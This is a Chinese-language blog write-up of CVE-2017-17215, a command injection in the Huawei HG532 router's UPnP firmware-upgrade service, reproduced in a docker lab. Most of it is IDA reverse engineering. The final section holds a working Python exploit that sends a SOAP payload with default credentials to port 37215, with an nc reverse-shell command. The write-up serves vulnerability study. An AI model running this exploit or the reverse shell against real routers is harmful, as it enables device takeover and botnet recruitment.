漏洞分析:CVE-2017-17215

漏洞分析:CVE-2017-17215

  华为HG532路由器的命令注入漏洞,存在于UPnP模块中。

漏洞分析

什么是UPnP?

  搭建好环境(使用IoT-vulhub的docker环境),启动环境,查看一下系统启动的服务和端口监听情况。

   漏洞点存在于UPnP模块中,关于upnp协议,其实现的功能大致如下:

  1.NAT 网关设备拥有一个公网 IP 地址(比如 10.59.116.19),内网中的主机(比如 192.168.1.101)想要与外界通信的话,NAT 网关设备可以为其做一个端口映射(比如:180.59.116.19 :80 —> 192.168.1.101 :80),这样,外部的主机发往 NAT 网关的数据包都会被转发给内网的该主机,从而实现了内网中的主机与外部主机的通信;

  2.当内网的服务,需要被外网访问的时候,就需要做一个端口映射,把内网主机的端口映射到NAT网关设备的一个端口上去,这样访问网关设备的端口时候,实际上就是访问了内网主机的服务。但是当内网有多台主机需要向外提供服务的时候,就需要手动配置NAT网关设备的映射端口,确保这些内网服务不会映射到NAT网关设备的同一个端口上去,否则就会造成端口的冲突,这给用户造成了很多麻烦;

  3.UPnP 技术标准的出现就是为了解决这个问题,只要 NAT 设备(路由器)支持 UPnP,并开启。那么,当我们的主机(或主机上的应用程序)向 NAT 设备发出端口映射请求的时候,NAT 设备就可以自动为主机分配端口并进行端口映射。这样,我们的主机就能够像公网主机一样被网络中任何主机访问了。

   总的来说,upnp提供了一种外网到内网主机的访问机制,如果网关设备的upnp模块存在问题,同时防火墙配置不当的话,从WAN口去攻击路由器等等网关设备就会比较容易。HG532这款设备,使用upnp来进行固件更新,在固件更新的过程中存在命令注入漏洞,最早是checkpoint发现被Mirai的变种OKIRU/SATORI利用来构建僵尸网络。

漏洞函数,你在哪里被调用?

  用IDA打开/bin/upnp文件,通过搜索system等命令执行函数的交叉引用,查看存在的命令注入点。由于大部分命令执行函数的参数是硬编码过的,所以找到这个漏洞点并不困难,简单的搜索之后,就可以看到一个snprintf函数在传递参数的过程中,对参数没有做任何校验,然后snprintf读入的格式化字符串参数的地址被传递到了system函数中,system调用upg来进行固件更新,如果param1和param2两个参数可控的话,就可以在system中执行攻击者的命令。

  现在需要看一下ATP_XML_GetChildNodeByName函数,由于固件没有剥离符号表,所以通过函数名大致可以看出函数做了什么:

int __fastcall ATP_XML_GetChildNodeByName(int a1, int NodeName, int *a3, _DWORD *param)
{
  int flag; // $s1
  int i; // $v0
  int v9; // $s0
  int NodeValue; // [sp+20h] [-8h] BYREF
  int ret_NodeName; // [sp+24h] [-4h] BYREF

  flag = 0x40090000;
  if ( NodeName )
  {
    for ( i = ((int (__fastcall *)(int))TSP_XML_GetNodeFirstChild)(a1); ; i = TSP_XML_GetNodeNextSibling(v9) )
    {                                           // 遍历xml节点
      v9 = i;
      if ( !i )
      {
        if ( param )
          *param = 0;
        return 0x40090004;
      }
      flag = TSP_XML_GetNodeValue(i, 0, 0, &ret_NodeName, &NodeValue);// 获取xml节点的值
      if ( flag )
      {
        if ( param )
          *param = 0;
        return flag;
      }
      if ( ret_NodeName && !strcmp(ret_NodeName, NodeName) )
        break;
    }
    if ( a3 )
      *a3 = v9;
    if ( param )
    {
      if ( NodeValue )
        ((void (*)(void))sub_408540)();
      *param = NodeValue;
    }
  }
  return flag;
}

  大胆猜测一下:通过遍历xml的节点,找到标签名和第二个参数一样的节点,然后把xml节点的值写入到第四个参数的地址处。这里比较坑的一点是,我找不到漏洞函数的交叉引用,也不知道怎么控制snprintf的参数。

  这里先在squashfs-root目录下找找"NewDownloadURL"和"NewStatusURL"这两个字符串:

   

   在upnp中查找DevUpg.xml字符串的交叉引用:

   查看ATP_UPNP_RegDeviceAndService函数,发现这个函数对ATP_UPnP_RegDevice函数和ATP_UPnP_RegService函数有大量的调用,猜测这个函数可能主要用于开启外网对内访问的服务。

 

   往下找一找,可以看到一个ATP_UPNP_RegAction函数,这个函数有两个参数:

   这个参数之前就作为ATP_UPnp_RegDevice的最后一个参数被传递进去过:

   我们之前说,ATP_UPnP_RegService这个函数可能是开启UPnP的服务,那ATP_UPNP_RegAction,很有可能就是要对开启的服务做一些操作,跟进看一看。

int __fastcall ATP_UPNP_RegAction(int service_id, int idx)
{
  int result; // $v0
  int *v4; // $s0
  char *funcname; // $s2
  int v6; // $s1

  if ( !service_id )
    return 0x40090000;
  result = 0x40090000;
  if ( *(_DWORD *)(service_id + 48) )
  {
    v4 = *(int **)(service_id + 36);
    if ( v4 )
    {
      funcname = g_astActionArray[4 * idx];
      while ( 1 )
      {
        if ( (v4[1] & 0x40000000) != 0 )
        {
          v6 = *v4;
          if ( !strcmp(*v4, funcname) )
            break;
        }
        v4 = (int *)v4[4];
        result = 0x40090000;
        if ( !v4 )
          return result;
      }
      ATP_UPNP_Free(v6);
      v4[1] &= 0xBFFFFFFF;
      *v4 = idx;
      result = 0;
    }
  }
  return result;
}

  这里的重点,在g_astActionArray这个全局变量,这个全局变量之前没有被识别出来,在IDA里面修改识别一下,发现别有洞天:

   这是一个虚表,aUpgrade和DeviceUpgrade(这个就是漏洞函数)分别是下标为0和1的函数名。这样看来,之前找不到对应漏洞函数的交叉引用也就有理可循了。

  再来看看这个虚表对应的交叉引用,看除了ATP_UPNP_RegAction这个函数之外,它还在哪里被调用了:

  UPnPGetActionByName会返回g_astActionArray中的函数指针:

   然后这个函数指针随后会被调用:

   做到这一步,我们现在可以再梳理一下逆向的工作了。

  我们之前首先通过搜索system函数交叉引用的办法,找到了漏洞点,但是没有找到漏洞函数的交叉引用,这是因为函数是通过虚表的方式,调用了函数指针。

  然后我们通过在固件中查找关键字符串的方式,确定了UPnP协议要解析的一个关键的xml文件:DevUpg.xml。我们又回到/bin/upnp中,查找这个文件名字符串的交叉引用,通过分析ATP_UPnp_RegDevice和ATP_UPNP_RegAction这两个函数,在IDA里面找到并且正确识别了这个虚表。

  最后再通过查找虚函数其他的交叉引用,找到了函数指针被调用的地方,还原了整个漏洞函数执行的流程。

  那么现在还要关注哪些问题?

 

   我们现在还不知道,控制固件升级的消息格式,只有清楚了消息格式,我们才能结合之前找到的注入点注入命令。

  通过UPnP实现固件更新的过程,是通过一个Web接口来实现的,我们还要把这个接口给找出来。完成这两步,感觉这个漏洞挖掘的过程就被完整地还原出来了,开搞。

寻找Web接口

  在逆向的过程中,有这样一段代码:

   http_request是我重命名的一个变量,这个变量肯定是一个结构体指针,但是暂时没有办法还原这个结构体。UpnpGetServiceByUrl这个函数名也引起了我的注意(url这个变量也是我重命名的一个变量,根据函数名猜的),跟进到这个函数中看一看:

   这样一看,这个函数实现的功能其实也能猜个十之八九,g_pstUpnpGvarHead这个全局变量最开始是在ATP_UPNP_Init函数中被赋值;

   还有一个函数会以xml格式返回客户端错误:

 

  到这一步,我觉得继续静态分析的话,收获也不大了,登录到路由器后台找一找api,看看能不能抓包分析一下流量是唯一的出路。

 

 

   后台确实有固件升级的功能,但是在docker中好像不能用,我把tcpdump传到靶机中没有抓取到37215端口的流量,看了一下check point的漏洞公告和分析,尝试构造exp。

漏洞利用

   checkpoint文中提到是通过蜜罐捕获到了流量。

  通过UPnP协议控制固件升级的消息格式如上图所示,其中NewStatusURL和NewDownloadURL标签中的内容就是我们可控的命令注入点。通过nc反弹shell失败,wget传递msf的反弹shell还是稳......

  exp中需要进行http身份验证,否则就会报401错误。

 

import requests
from threading import Thread
from requests.auth import HTTPDigestAuth

cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
#cmd = "mkdir /tmp/poc"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += '''<NewStatusURL>;$(./tools/msf);</NewStatusURL>\n'''
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"
# r = requests.post(url,data = payload)

r = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
print(r.status_code)

 

总结

  关于这个漏洞,感觉网上一些文章都是搭了环境,然后直接找一次命令注入点,根据漏洞公告给的信息打一次exp,少了一些细节。我在分析的过程中,加入了自己学习和研究的过程中的一些思路和想法,在这个过程中,我对于UPnP协议也有了一些了解,加深了对命令注入漏洞数据流的理解。

参考链接:

https://zhuanlan.zhihu.com/p/40407669

https://nosec.org/home/detail/4871.html

https://research.checkpoint.com/2017/good-zero-day-skiddie/

 

 

 

 

 

   

posted @ 2021-12-04 08:01  Riv4ille  阅读(914)  评论(1编辑  收藏  举报